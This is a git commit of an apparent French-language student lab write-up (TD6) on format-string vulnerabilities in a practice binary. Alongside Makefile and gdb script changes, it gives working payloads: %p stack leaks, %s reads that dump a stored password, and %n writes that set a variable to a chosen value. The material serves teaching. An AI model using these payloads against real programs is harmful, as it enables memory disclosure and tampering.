Continue TD6 work
This commit is contained in:
parent
4f61441bb9
commit
f4dd1b619e
3 changed files with 62 additions and 20 deletions
|
@ -36,7 +36,7 @@ build: $(addprefix $(BUILD_DIR)/, $(addsuffix _32, $(TGT))) \
|
||||||
$(addprefix $(BUILD_DIR)/, $(addsuffix _64-pie, $(TGT))) \
|
$(addprefix $(BUILD_DIR)/, $(addsuffix _64-pie, $(TGT))) \
|
||||||
|
|
||||||
|
|
||||||
PHONY: gdb_%
|
PHONY: gdb_% configure
|
||||||
gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
|
gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
|
||||||
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} setarch -R gdb $< --command=$(subst gdb_,,$@).gdb
|
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} setarch -R gdb $< --command=$(subst gdb_,,$@).gdb
|
||||||
|
|
||||||
|
|
|
@ -1,2 +1,4 @@
|
||||||
b printf
|
b printf
|
||||||
r
|
r < <(echo -e '\x31\x32\x33\x34')
|
||||||
|
frame 2
|
||||||
|
p &buf
|
||||||
|
|
|
@ -17,13 +17,13 @@ l'ordre)":
|
||||||
* `0x00000009`
|
* `0x00000009`
|
||||||
* `AAA`
|
* `AAA`
|
||||||
|
|
||||||
Il affiche encuite la valeur de `value` dans uen seconde ligne. Cette valeur a
|
Il affiche encuite la valeur de `value` dans une seconde ligne. Cette valeur a
|
||||||
été écrite par notre premier `fprintf` grace au `%n`.
|
été écrite par notre premier `fprintf` grace à `%n`.
|
||||||
|
|
||||||
### Question 2
|
### Question 2
|
||||||
|
|
||||||
Grace au commandes passées à `printf`, nous pouvons remontrer dans la pile et
|
Grace au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer
|
||||||
ainsi afficher les adresses.
|
dans la pile et ainsi afficher les adresses.
|
||||||
|
|
||||||
```
|
```
|
||||||
%2p
|
%2p
|
||||||
|
@ -48,28 +48,37 @@ Single stepping until exit from function printf,
|
||||||
which has no line number information.
|
which has no line number information.
|
||||||
0xf7c73230 <- on a bien l'affichage de %p
|
0xf7c73230 <- on a bien l'affichage de %p
|
||||||
```
|
```
|
||||||
|
C'est exactement la démarche vue en cours pour détourner `printf` de son udsage
|
||||||
|
de base.
|
||||||
|
|
||||||
### question 3
|
### question 3
|
||||||
|
|
||||||
Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver
|
Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver
|
||||||
l'adresse de la variable `var`: *0xffffc8a8*. Ce qui représente une remontée
|
l'adresse de la variable `var`: *0xffffc8a8* (sur notre machine). Ce qui
|
||||||
dans la pile de 22 élements. Il nous a suffit de renter avec `%22$p` pour
|
représente une remontée dans la pile de 22 élements. Il nous a suffit de saisir
|
||||||
afficher le contenu.
|
`%22$p` pour afficher le contenu comme dans le code ci-dessous
|
||||||
|
|
||||||
```
|
```bash
|
||||||
./build/vulnerable-1_32
|
./build/vulnerable-1_32
|
||||||
%22$p
|
%22$p
|
||||||
0xffffc8a8
|
0xffffc8a8
|
||||||
```
|
```
|
||||||
### Question 4
|
### Question 4
|
||||||
|
|
||||||
Modification du fichier de commandes gdb modifié comme ci-dessous pour
|
Afin de saisir les 4 entiers , nous avonc créé un fichier de commandes gdb
|
||||||
automatisée la saisie :
|
modifié comme ci-dessous pour automatiser la saisie:
|
||||||
|
|
||||||
```gdb
|
```gdb
|
||||||
b printf
|
b printf
|
||||||
r < <(echo -e '\x31\x32\x33\x34')
|
r < <(echo -e '\x31\x32\x33\x34')
|
||||||
```
|
```
|
||||||
|
Il est possible de lancer l'opération avec notre `Makefile` qui se charge de
|
||||||
|
toutes les opérations :
|
||||||
|
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make gdb_vulnerable-1_32
|
||||||
|
```
|
||||||
|
|
||||||
Nous pouvons maintenant afficher l'adresse de `buf` dans gdb:
|
Nous pouvons maintenant afficher l'adresse de `buf` dans gdb:
|
||||||
|
|
||||||
|
@ -77,13 +86,14 @@ Nous pouvons maintenant afficher l'adresse de `buf` dans gdb:
|
||||||
p &buf
|
p &buf
|
||||||
$2 = (char (*)[128]) 0xffffd56c
|
$2 = (char (*)[128]) 0xffffd56c
|
||||||
```
|
```
|
||||||
au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction
|
|
||||||
|
Au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction
|
||||||
que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en
|
que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en
|
||||||
prenant en compte les adresses 32bits et la strack frame conteant le format,
|
prenant en compte les adresses 32bits et la *strack frame* conteant le format,
|
||||||
nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée:
|
nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée:
|
||||||
|
|
||||||
```
|
```bash
|
||||||
echo -e '\x31\x32\x33\x34 %26$p' | setarch -R ./build/vulnerable-1_32
|
echo -e '\x31\x32\x33\x34 %23$p' | setarch -R ./build/vulnerable-1_32
|
||||||
1234 0x34333231
|
1234 0x34333231
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -93,19 +103,28 @@ D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c`
|
||||||
|
|
||||||
Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé
|
Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé
|
||||||
|
|
||||||
```
|
```bash
|
||||||
echo -e '\x1c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32
|
echo -e '\x1c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32
|
||||||
secret_password
|
secret_password
|
||||||
```
|
```
|
||||||
|
|
||||||
La technique est simple : on injecte dans le buffer l'adresse de la variable
|
La technique est simple : on injecte dans le buffer l'adresse de la variable
|
||||||
`psswd` découverte au dessus et la "commande" `printf` à utiliser pour afficher
|
`passwd` découverte au dessus et la "commande" `printf` à utiliser pour afficher
|
||||||
ce qui se trouve à cette adresse.
|
ce qui se trouve à cette adresse.
|
||||||
|
|
||||||
### question 6
|
### question 6
|
||||||
|
|
||||||
Le fonctionnement est le même que la question 5 : `objdump` + `echo`. Afin
|
Le fonctionnement est le même que la question 5 : `objdump` + `echo`.
|
||||||
d'afficher les caracteres, il est nécessaure d'utiliser `hexdump`:
|
|
||||||
|
Il nous suffit d'afficher l'adresse de `target`:
|
||||||
|
|
||||||
|
```
|
||||||
|
objdump -D build/vulnerable-1_32 | grep target
|
||||||
|
0804c02c <target>:
|
||||||
|
```
|
||||||
|
|
||||||
|
Puis de forrger notre entrée. Afin d'afficher les caractères, il est nécessaire
|
||||||
|
d'utiliser `hexdump` sur notre machine:
|
||||||
|
|
||||||
```
|
```
|
||||||
echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C
|
echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C
|
||||||
|
@ -114,3 +133,24 @@ echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump
|
||||||
```
|
```
|
||||||
|
|
||||||
### Question 7
|
### Question 7
|
||||||
|
|
||||||
|
Une fois que nous avons affiche le contenu de la vatiable `target`, nous allons
|
||||||
|
pouvois la modifier en changeant son contenu avec le format `%n` :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
echo -e '\x2c\xc0\x04\x08 %23$n' | setarch -R ./build/vulnerable-1_32
|
||||||
|
|
||||||
|
|
||||||
|
you have modified the target to 0x6!
|
||||||
|
```
|
||||||
|
|
||||||
|
### Question 8
|
||||||
|
|
||||||
|
Uen fois la première modification appliquée, il ne reste plus qu'à forger le
|
||||||
|
paramètre de notre format pour rendre la condition`if (target == 0x00025544)`
|
||||||
|
vrai.
|
||||||
|
|
||||||
|
`0x25544` est égal à 152900,
|
||||||
|
```bash
|
||||||
|
echo -e '\x2c\xc0\x04\x08 %152894p%23$n' | setarch -R ./build/vulnerable-1_32
|
||||||
|
```
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue